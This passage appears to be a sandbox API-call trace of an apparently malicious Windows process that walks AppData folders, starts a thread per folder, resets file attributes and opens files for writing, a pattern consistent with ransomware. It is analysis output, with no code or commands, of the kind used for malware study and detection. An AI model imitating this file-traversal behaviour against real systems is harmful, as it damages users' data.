ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da30 [0099.167] wcscmp (_String1=".", _String2=".") returned 0 [0099.167] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.168] wcscmp (_String1="..", _String2=".") returned 1 [0099.168] wcscmp (_String1="..", _String2="..") returned 0 [0099.168] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1 [0099.168] wcscmp (_String1="2.0", _String2=".") returned 1 [0099.168] wcscmp (_String1="2.0", _String2="..") returned 1 [0099.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8669c0 [0099.168] wcscpy (in: _Dest=0x1b8669c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" [0099.168] wcscat (in: _Dest=0x1b8669c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\" [0099.168] wcscat (in: _Dest=0x1b8669c0, _Source="2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0127.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8669c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1504 [0127.684] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0 [0127.684] FindClose (in: hFindFile=0x1cd9da30 | out: hFindFile=0x1cd9da30) returned 1 [0127.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56080) returned 1 [0127.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e4f0) returned 1 [0127.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864060) returned 1 Thread: id = 827 os_tid = 0x13d0 [0099.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b866d40 [0099.190] wcscpy (in: _Dest=0x1b866d40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" [0099.190] wcscat (in: _Dest=0x1b866d40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\" [0099.191] wcscat (in: _Dest=0x1b866d40, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*" [0099.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0099.191] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d970 [0099.191] wcscmp (_String1=".", _String2=".") returned 0 [0099.191] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.192] wcscmp (_String1="..", _String2=".") returned 1 [0099.192] wcscmp (_String1="..", _String2="..") returned 0 [0099.192] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0099.192] FindClose (in: hFindFile=0x1cd9d970 | out: hFindFile=0x1cd9d970) returned 1 [0099.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0099.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866d40) returned 1 [0099.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8671c0) returned 1 Thread: id = 828 os_tid = 0x13d4 [0099.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8671c0 [0099.195] wcscpy (in: _Dest=0x1b8671c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0099.195] wcscat (in: _Dest=0x1b8671c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\" [0099.195] wcscat (in: _Dest=0x1b8671c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*" [0099.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0099.196] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d970 [0099.196] wcscmp (_String1=".", _String2=".") returned 0 [0099.196] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.196] wcscmp (_String1="..", _String2=".") returned 1 [0099.196] wcscmp (_String1="..", _String2="..") returned 0 [0099.196] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0099.196] wcscmp (_String1="Chrome", _String2=".") returned 1 [0099.196] wcscmp (_String1="Chrome", _String2="..") returned 1 [0099.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866d40 [0099.197] wcscpy (in: _Dest=0x1b866d40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0099.197] wcscat (in: _Dest=0x1b866d40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\" [0099.197] wcscat (in: _Dest=0x1b866d40, _Source="Chrome" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" [0126.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b866d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd18 [0126.655] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0126.655] wcscmp (_String1="CrashReports", _String2=".") returned 1 [0126.655] wcscmp (_String1="CrashReports", _String2="..") returned 1 [0126.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85bd90 [0126.655] wcscpy (in: _Dest=0x1b85bd90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0126.655] wcscat (in: _Dest=0x1b85bd90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\" [0126.655] wcscat (in: _Dest=0x1b85bd90, _Source="CrashReports" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports" [0126.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85bd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe8 [0126.667] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0 [0126.668] FindClose (in: hFindFile=0x1cd9d970 | out: hFindFile=0x1cd9d970) returned 1 [0126.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0126.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8671c0) returned 1 [0126.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864610) returned 1 Thread: id = 829 os_tid = 0x13d8 [0099.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b866ac0 [0099.206] wcscpy (in: _Dest=0x1b866ac0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History" [0099.206] wcscat (in: _Dest=0x1b866ac0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\" [0099.206] wcscat (in: _Dest=0x1b866ac0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*" [0099.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58780 [0099.223] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*", lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0099.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58780) returned 1 [0099.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 [0099.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864680) returned 1 Thread: id = 830 os_tid = 0x13dc [0099.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85c840 [0099.262] wcscpy (in: _Dest=0x1b85c840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help" [0099.263] wcscat (in: _Dest=0x1b85c840, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\" [0099.263] wcscat (in: _Dest=0x1b85c840, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*" [0099.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce578e0 [0099.263] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*", lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8586d0 [0099.263] wcscmp (_String1=".", _String2=".") returned 0 [0099.264] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.264] wcscmp (_String1="..", _String2=".") returned 1 [0099.264] wcscmp (_String1="..", _String2="..") returned 0 [0099.264] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0099.264] FindClose (in: hFindFile=0x1b8586d0 | out: hFindFile=0x1b8586d0) returned 1 [0099.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce578e0) returned 1 [0099.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0099.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 Thread: id = 831 os_tid = 0x13e0 [0099.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b867340 [0099.273] wcscpy (in: _Dest=0x1b867340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore" [0099.273] wcscat (in: _Dest=0x1b867340, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\" [0099.273] wcscat (in: _Dest=0x1b867340, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*" [0099.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce578e0 [0099.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8586d0 [0099.274] wcscmp (_String1=".", _String2=".") returned 0 [0099.274] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.274] wcscmp (_String1="..", _String2=".") returned 1 [0099.274] wcscmp (_String1="..", _String2="..") returned 0 [0099.274] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0099.274] FindClose (in: hFindFile=0x1b8586d0 | out: hFindFile=0x1b8586d0) returned 1 [0099.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce578e0) returned 1 [0099.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0099.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 Thread: id = 832 os_tid = 0x13e4 [0099.276] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BDA.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql8bda.tmp")) returned 0x2020 [0099.276] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BDA.tmp", dwFileAttributes=0x20) returned 1 [0100.560] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BDA.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql8bda.tmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0100.560] GetLastError () returned 0x20 [0100.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0100.561] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0100.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0100.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0100.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b863b90 [0100.561] wcscpy (in: _Dest=0x1b863b90, _Source="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BDA.tmp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BDA.tmp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BDA.tmp" [0100.561] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BDA.tmp", dwFileAttributes=0x2020) returned 1 [0100.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ebf0) returned 1 Thread: id = 833 os_tid = 0x13e8 [0099.277] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BEA.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql8bea.tmp")) returned 0x2020 [0099.278] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BEA.tmp", dwFileAttributes=0x20) returned 1 [0100.563] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BEA.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql8bea.tmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0100.563] GetLastError () returned 0x20 [0100.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0100.563] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0100.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0100.563] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b82d000, Size=0x20) returned 0x1b82a9f0 [0100.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b86ebf0 [0100.563] wcscpy (in: _Dest=0x1b86ebf0, _Source="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BEA.tmp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BEA.tmp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BEA.tmp" [0100.564] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BEA.tmp", dwFileAttributes=0x2020) returned 1 [0100.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863a40) returned 1 Thread: id = 834 os_tid = 0x13ec [0099.278] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\-aeSmM1BjIs1zM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\-aesmm1bjis1zm.flv")) returned 0x20 [0099.278] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a 